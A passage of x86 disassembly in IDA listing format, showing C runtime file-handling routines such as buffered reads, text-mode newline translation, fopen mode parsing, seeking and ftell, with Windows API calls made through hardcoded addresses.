mov [esi+0Ch], eax
jmp loc_41B656
; ---------------------------------------------------------------------------
loc_41B5A8: ; CODE XREF: sub_41B582+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41B5BC
push esi
call sub_41D568
pop ecx
jmp short loc_41B5C1
; ---------------------------------------------------------------------------
loc_41B5BC: ; CODE XREF: sub_41B582+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41B5C1: ; CODE XREF: sub_41B582+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41B65B
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41B645
cmp eax, 0FFFFFFFFh
jz short loc_41B645
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41B61A
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41B603
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_516B80[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41B608
; ---------------------------------------------------------------------------
loc_41B603: ; CODE XREF: sub_41B582+6Bj
mov edi, offset dword_43BAD0
loc_41B608: ; CODE XREF: sub_41B582+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41B61A
or dh, 20h
mov [esi+0Ch], edx
loc_41B61A: ; CODE XREF: sub_41B582+62j
; sub_41B582+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41B637
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41B637
test ch, 4
jnz short loc_41B637
mov dword ptr [esi+18h], 1000h
loc_41B637: ; CODE XREF: sub_41B582+9Fj
; sub_41B582+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B645: ; CODE XREF: sub_41B582+55j
; sub_41B582+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41B656: ; CODE XREF: sub_41B582+Aj
; sub_41B582+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41B582 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B65B proc near ; CODE XREF: sub_418132+90p
; sub_41B582+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_516C80
jnb loc_41B838
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:516B80h[eax*4]
mov eax, dword_516B80[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41B838
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41B710
test dl, 2
jnz short loc_41B710
test dl, 48h
jz short loc_41B6D0
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41B6D0
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41B6D0: ; CODE XREF: sub_41B65B+56j
; sub_41B65B+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 7C80180Eh
test eax, eax
jnz short loc_41B723
nop
call near ptr 7C910331h
push 5
pop ecx
cmp eax, ecx
jnz short loc_41B70B
mov dword_515884, 9
mov dword_515888, ecx
jmp loc_41B849
; ---------------------------------------------------------------------------
loc_41B70B: ; CODE XREF: sub_41B65B+99j
cmp eax, 6Dh
jnz short loc_41B717
loc_41B710: ; CODE XREF: sub_41B65B+4Cj
; sub_41B65B+51j
xor eax, eax
jmp loc_41B84C
; ---------------------------------------------------------------------------
loc_41B717: ; CODE XREF: sub_41B65B+B3j
push eax
call sub_41C91A
pop ecx
jmp loc_41B849
; ---------------------------------------------------------------------------
loc_41B723: ; CODE XREF: sub_41B65B+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41B833
test edx, edx
jz short loc_41B748
cmp byte ptr [edi], 0Ah
jnz short loc_41B748
or al, 4
jmp short loc_41B74A
; ---------------------------------------------------------------------------
loc_41B748: ; CODE XREF: sub_41B65B+E2j
; sub_41B65B+E7j
and al, 0FBh
loc_41B74A: ; CODE XREF: sub_41B65B+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41B82D
loc_41B762: ; CODE XREF: sub_41B65B+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41B81D
cmp al, 0Dh
jz short loc_41B77E
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41B80F
; ---------------------------------------------------------------------------
loc_41B77E: ; CODE XREF: sub_41B65B+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41B79C
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41B793
add [ebp+arg_8], 2
jmp short loc_41B7F1
; ---------------------------------------------------------------------------
loc_41B793: ; CODE XREF: sub_41B65B+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41B80F
; ---------------------------------------------------------------------------
loc_41B79C: ; CODE XREF: sub_41B65B+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 7C80180Eh
test eax, eax
jnz short loc_41B7C4
nop
call near ptr 7C910331h
test eax, eax
jnz short loc_41B80B
loc_41B7C4: ; CODE XREF: sub_41B65B+15Dj
cmp [ebp+var_C], 0
jz short loc_41B80B
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41B7E6
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41B7F1
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41B80F
; ---------------------------------------------------------------------------
loc_41B7E6: ; CODE XREF: sub_41B65B+176j
cmp edi, [ebp+arg_4]
jnz short loc_41B7F6
cmp [ebp+var_1], 0Ah
jnz short loc_41B7F6
loc_41B7F1: ; CODE XREF: sub_41B65B+136j
; sub_41B65B+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41B80E
; ---------------------------------------------------------------------------
loc_41B7F6: ; CODE XREF: sub_41B65B+18Ej
; sub_41B65B+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_41BA39
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41B80F
loc_41B80B: ; CODE XREF: sub_41B65B+167j
; sub_41B65B+16Dj
mov byte ptr [edi], 0Dh
loc_41B80E: ; CODE XREF: sub_41B65B+199j
inc edi
loc_41B80F: ; CODE XREF: sub_41B65B+11Ej
; sub_41B65B+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41B762
jmp short loc_41B82D
; ---------------------------------------------------------------------------
loc_41B81D: ; CODE XREF: sub_41B65B+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41B82D
or al, 2
mov [esi], al
loc_41B82D: ; CODE XREF: sub_41B65B+101j
; sub_41B65B+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41B833: ; CODE XREF: sub_41B65B+DAj
mov eax, [ebp+var_8]
jmp short loc_41B84C
; ---------------------------------------------------------------------------
loc_41B838: ; CODE XREF: sub_41B65B+12j
; sub_41B65B+39j
and dword_515888, 0
mov dword_515884, 9
loc_41B849: ; CODE XREF: sub_41B65B+ABj
; sub_41B65B+C3j
or eax, 0FFFFFFFFh
loc_41B84C: ; CODE XREF: sub_41B65B+B7j
; sub_41B65B+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41B65B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B851 proc near ; CODE XREF: sub_41821A+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_515AFC
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41B88A
cmp al, 72h
jz short loc_41B883
cmp al, 77h
jnz loc_41B99E
mov ecx, 301h
jmp short loc_41B88F
; ---------------------------------------------------------------------------
loc_41B883: ; CODE XREF: sub_41B851+21j
xor ecx, ecx
or esi, 1
jmp short loc_41B892
; ---------------------------------------------------------------------------
loc_41B88A: ; CODE XREF: sub_41B851+1Dj
mov ecx, 109h
loc_41B88F: ; CODE XREF: sub_41B851+30j
or esi, 2
loc_41B892: ; CODE XREF: sub_41B851+37j
push 1
pop edx
loc_41B895: ; CODE XREF: sub_41B851+8Bj
; sub_41B851+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41B984
cmp edx, ebx
jz loc_41B984
movsx eax, al
cmp eax, 54h
jg short loc_41B923
jz short loc_41B913
sub eax, 2Bh
jz short loc_41B8FD
sub eax, 19h
jz short loc_41B8F3
sub eax, 0Eh
jz short loc_41B8DE
dec eax
jnz loc_41B975
cmp [ebp+var_4], ebx
jnz loc_41B975
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41B895
; ---------------------------------------------------------------------------
loc_41B8DE: ; CODE XREF: sub_41B851+6Fj
cmp [ebp+var_4], ebx
jnz loc_41B975
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41B895
; ---------------------------------------------------------------------------
loc_41B8F3: ; CODE XREF: sub_41B851+6Aj
test cl, 40h
jnz short loc_41B975
or ecx, 40h
jmp short loc_41B895
; ---------------------------------------------------------------------------
loc_41B8FD: ; CODE XREF: sub_41B851+65j
test cl, 2
jnz short loc_41B975
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41B895
; ---------------------------------------------------------------------------
loc_41B913: ; CODE XREF: sub_41B851+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41B975
or ecx, eax
jmp loc_41B895
; ---------------------------------------------------------------------------
loc_41B923: ; CODE XREF: sub_41B851+5Ej
sub eax, 62h
jz short loc_41B970
dec eax
jz short loc_41B959
sub eax, 0Bh
jz short loc_41B942
sub eax, 6
jnz short loc_41B975
test ch, 0C0h
jnz short loc_41B975
or ch, 40h
jmp loc_41B895
; ---------------------------------------------------------------------------
loc_41B942: ; CODE XREF: sub_41B851+DDj
cmp [ebp+var_8], ebx
jnz short loc_41B975
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41B895
; ---------------------------------------------------------------------------
loc_41B959: ; CODE XREF: sub_41B851+D8j
cmp [ebp+var_8], ebx
jnz short loc_41B975
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41B895
; ---------------------------------------------------------------------------
loc_41B970: ; CODE XREF: sub_41B851+D5j
test ch, 0C0h
jz short loc_41B97C
loc_41B975: ; CODE XREF: sub_41B851+72j
; sub_41B851+7Bj ...
xor edx, edx
jmp loc_41B895
; ---------------------------------------------------------------------------
loc_41B97C: ; CODE XREF: sub_41B851+122j
or ch, 80h
jmp loc_41B895
; ---------------------------------------------------------------------------
loc_41B984: ; CODE XREF: sub_41B851+4Aj
; sub_41B851+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41E476
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41B9A2
loc_41B99E: ; CODE XREF: sub_41B851+25j
xor eax, eax
jmp short loc_41B9BC
; ---------------------------------------------------------------------------
loc_41B9A2: ; CODE XREF: sub_41B851+14Bj
mov eax, [ebp+arg_C]
inc dword_515A34
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41B9BC: ; CODE XREF: sub_41B851+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41B851 endp
; =============== S U B R O U T I N E =======================================
sub_41B9C1 proc near ; CODE XREF: sub_41821Ap
mov edx, dword_516B60
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41BA32
mov ebx, dword_515B4C
mov edi, ebx
loc_41B9DD: ; CODE XREF: sub_41B9C1+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41B9F8
test byte ptr [ecx+0Ch], 83h
jz short loc_41B9F3
inc eax
add edi, 4
cmp eax, edx
jl short loc_41B9DD
jmp short loc_41BA32
; ---------------------------------------------------------------------------
loc_41B9F3: ; CODE XREF: sub_41B9C1+26j
mov esi, [ebx+eax*4]
jmp short loc_41BA1C
; ---------------------------------------------------------------------------
loc_41B9F8: ; CODE XREF: sub_41B9C1+20j
mov edi, eax
push 20h
shl edi, 2
call sub_417BEE
pop ecx
mov ecx, dword_515B4C
mov [edi+ecx], eax
mov eax, dword_515B4C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41BA32
mov esi, edi
loc_41BA1C: ; CODE XREF: sub_41B9C1+35j
cmp esi, ebp
jz short loc_41BA32
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41BA32: ; CODE XREF: sub_41B9C1+12j
; sub_41B9C1+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B9C1 endp
; =============== S U B R O U T I N E =======================================
sub_41BA39 proc near ; CODE XREF: sub_4183EE+67p
; sub_41922E+CDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_516C80
push esi
push edi
jnb short loc_41BABB
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:516B80h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_41BABB
push eax
call sub_41E3E2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41BA7D
mov dword_515884, 9
jmp short loc_41BACC
; ---------------------------------------------------------------------------
loc_41BA7D: ; CODE XREF: sub_41BA39+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
nop
call near ptr 7C810B8Eh
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41BA9D
nop
call near ptr 7C910331h
jmp short loc_41BA9F
; ---------------------------------------------------------------------------
loc_41BA9D: ; CODE XREF: sub_41BA39+5Aj
xor eax, eax
loc_41BA9F: ; CODE XREF: sub_41BA39+62j
test eax, eax
jz short loc_41BAAC
push eax
call sub_41C91A
pop ecx
jmp short loc_41BACC
; ---------------------------------------------------------------------------
loc_41BAAC: ; CODE XREF: sub_41BA39+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_41BACF
; ---------------------------------------------------------------------------
loc_41BABB: ; CODE XREF: sub_41BA39+Dj
; sub_41BA39+2Aj
and dword_515888, 0
mov dword_515884, 9
loc_41BACC: ; CODE XREF: sub_41BA39+42j
; sub_41BA39+71j
or eax, 0FFFFFFFFh
loc_41BACF: ; CODE XREF: sub_41BA39+80j
pop edi
pop esi
pop ebx
retn
sub_41BA39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAD3 proc near ; CODE XREF: sub_4183EE+2Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_41BAEF
mov [edi+4], ebx
loc_41BAEF: ; CODE XREF: sub_41BAD3+17j
push 1
push ebx
push esi
call sub_41BA39
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_41BB5D
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_41BB14
sub eax, [edi+4]
jmp loc_41BC26
; ---------------------------------------------------------------------------
loc_41BB14: ; CODE XREF: sub_41BAD3+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_41BB4E
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_516B80[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_41BB65
mov edx, ecx
loc_41BB3F: ; CODE XREF: sub_41BAD3+79j
cmp edx, eax
jnb short loc_41BB65
cmp byte ptr [edx], 0Ah
jnz short loc_41BB4B
inc [ebp+var_8]
loc_41BB4B: ; CODE XREF: sub_41BAD3+73j
inc edx
jmp short loc_41BB3F
; ---------------------------------------------------------------------------
loc_41BB4E: ; CODE XREF: sub_41BAD3+50j
test dl, 80h
jnz short loc_41BB65
mov dword_515884, 16h
loc_41BB5D: ; CODE XREF: sub_41BAD3+2Dj
or eax, 0FFFFFFFFh
jmp loc_41BC26
; ---------------------------------------------------------------------------
loc_41BB65: ; CODE XREF: sub_41BAD3+68j
; sub_41BAD3+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_41BB73
mov eax, [ebp+var_8]
jmp loc_41BC26
; ---------------------------------------------------------------------------
loc_41BB73: ; CODE XREF: sub_41BAD3+96j
test byte ptr [edi+0Ch], 1
jz loc_41BC1E
mov edx, [edi+4]
test edx, edx
jnz short loc_41BB8C
and [ebp+var_8], edx
jmp loc_41BC1E
; ---------------------------------------------------------------------------
loc_41BB8C: ; CODE XREF: sub_41BAD3+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:516B80h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_41BC18
push 2
push 0
push [ebp+var_C]
call sub_41BA39
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_41BBDF
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_41BBCA: ; CODE XREF: sub_41BAD3+104j
cmp eax, ecx
jnb short loc_41BBD9
cmp byte ptr [eax], 0Ah
jnz short loc_41BBD6
inc [ebp+arg_0]
loc_41BBD6: ; CODE XREF: sub_41BAD3+FEj
inc eax
jmp short loc_41BBCA
; ---------------------------------------------------------------------------
loc_41BBD9: ; CODE XREF: sub_41BAD3+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_41BC13
; ---------------------------------------------------------------------------
loc_41BBDF: ; CODE XREF: sub_41BAD3+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_41BA39
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_41BC06
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_41BC06
test ch, 4
jz short loc_41BC09
loc_41BC06: ; CODE XREF: sub_41BAD3+124j
; sub_41BAD3+12Cj
mov eax, [edi+18h]
loc_41BC09: ; CODE XREF: sub_41BAD3+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_41BC13: ; CODE XREF: sub_41BAD3+10Aj
jz short loc_41BC18
inc [ebp+arg_0]
loc_41BC18: ; CODE XREF: sub_41BAD3+D9j
; sub_41BAD3:loc_41BC13j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_41BC1E: ; CODE XREF: sub_41BAD3+A4j
; sub_41BAD3+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_41BC26: ; CODE XREF: sub_41BAD3+3Cj
; sub_41BAD3+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BAD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BC2B proc near ; CODE XREF: sub_418743+47p
; sub_418743+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4216A8
push offset sub_41D304
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_515904, edi
jnz short loc_41BCA1
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_4216A0
mov esi, 100h
push esi
push edi
nop
call near ptr 7C80CCA8h
test eax, eax
jz short loc_41BC7F
mov dword_515904, ebx
jmp short loc_41BCA1
; ---------------------------------------------------------------------------
loc_41BC7F: ; CODE XREF: sub_41BC2B+4Aj
push edi
push edi
push ebx
push offset dword_441700
push esi
push edi
nop
call near ptr 7C838DE8h
test eax, eax
jz loc_41BDB9
mov dword_515904, 2
loc_41BCA1: ; CODE XREF: sub_41BC2B+2Ej
; sub_41BC2B+52j
cmp [ebp+arg_C], edi
jle short loc_41BCB6
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4200BF
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_41BCB6: ; CODE XREF: sub_41BC2B+79j
mov eax, dword_515904
cmp eax, 2
jnz short loc_41BCDD
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C838DE8h
jmp loc_41BDBB
; ---------------------------------------------------------------------------
loc_41BCDD: ; CODE XREF: sub_41BC2B+93j
cmp eax, 1
jnz loc_41BDB9
cmp [ebp+arg_18], edi
jnz short loc_41BCF3
mov eax, dword_5158FC
mov [ebp+arg_18], eax
loc_41BCF3: ; CODE XREF: sub_41BC2B+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 7C809BF8h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_41BDB9
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BD4E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_41BD4E: ; CODE XREF: sub_41BC2B+10Ej
cmp [ebp+var_24], edi
jz short loc_41BDB9
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 7C809BF8h
test eax, eax
jz short loc_41BDB9
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80CCA8h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_41BDB9
test byte ptr [ebp+arg_4+1], 4
jz short loc_41BDCD
cmp [ebp+arg_14], edi
jz loc_41BE48
cmp esi, [ebp+arg_14]
jg short loc_41BDB9
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80CCA8h
test eax, eax
jnz loc_41BE48
loc_41BDB9: ; CODE XREF: sub_41BC2B+66j
; sub_41BC2B+B5j ...
xor eax, eax
loc_41BDBB: ; CODE XREF: sub_41BC2B+ADj
; sub_41BC2B+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BDCD: ; CODE XREF: sub_41BC2B+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417B70
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41BE01
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_41BE01: ; CODE XREF: sub_41BC2B+1C2j
cmp ebx, edi
jz short loc_41BDB9
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 7C80CCA8h
test eax, eax
jz short loc_41BDB9
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_41BE28
push edi
push edi
jmp short loc_41BE2E
; ---------------------------------------------------------------------------
loc_41BE28: ; CODE XREF: sub_41BC2B+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41BE2E: ; CODE XREF: sub_41BC2B+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 7C80A0D4h
mov esi, eax
cmp esi, edi
jz loc_41BDB9
loc_41BE48: ; CODE XREF: sub_41BC2B+165j
; sub_41BC2B+188j
mov eax, esi
jmp loc_41BDBB
sub_41BC2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE4F proc near ; CODE XREF: sub_4188AC+A2p
; sub_41922E+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_516C80
push esi
push edi
jnb loc_41BFE3
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:516B80h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41BFE3
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41BEA0
loc_41BE99: ; CODE XREF: sub_41BE4F+177j
xor eax, eax
jmp loc_41BFF7
; ---------------------------------------------------------------------------
loc_41BEA0: ; CODE XREF: sub_41BE4F+48j
test al, 20h
jz short loc_41BEB0
push 2
push edi
push ecx
call sub_41BA39
add esp, 0Ch
loc_41BEB0: ; CODE XREF: sub_41BE4F+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41BF7F
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41BFB7
loc_41BED0: ; CODE XREF: sub_41BE4F+F5j
lea eax, [ebp+var_414]
loc_41BED6: ; CODE XREF: sub_41BE4F+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41BF0A
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41BEF5
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41BEF5: ; CODE XREF: sub_41BE4F+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41BED6
loc_41BF0A: ; CODE XREF: sub_41BE4F+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 7C810D87h
test eax, eax
jz short loc_41BF74
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41BF46
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41BED0
loc_41BF46: ; CODE XREF: sub_41BE4F+EAj
; sub_41BE4F+12Ej
xor edi, edi
loc_41BF48: ; CODE XREF: sub_41BE4F+150j
; sub_41BE4F+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41BFDE
cmp [ebp+arg_0], edi
jz short loc_41BFB7
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41BFAC
mov dword_515884, 9
mov dword_515888, eax
jmp loc_41BFF4
; ---------------------------------------------------------------------------
loc_41BF74: ; CODE XREF: sub_41BE4F+E0j
nop
call near ptr 7C910331h
mov [ebp+arg_0], eax
jmp short loc_41BF46
; ---------------------------------------------------------------------------
loc_41BF7F: ; CODE XREF: sub_41BE4F+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
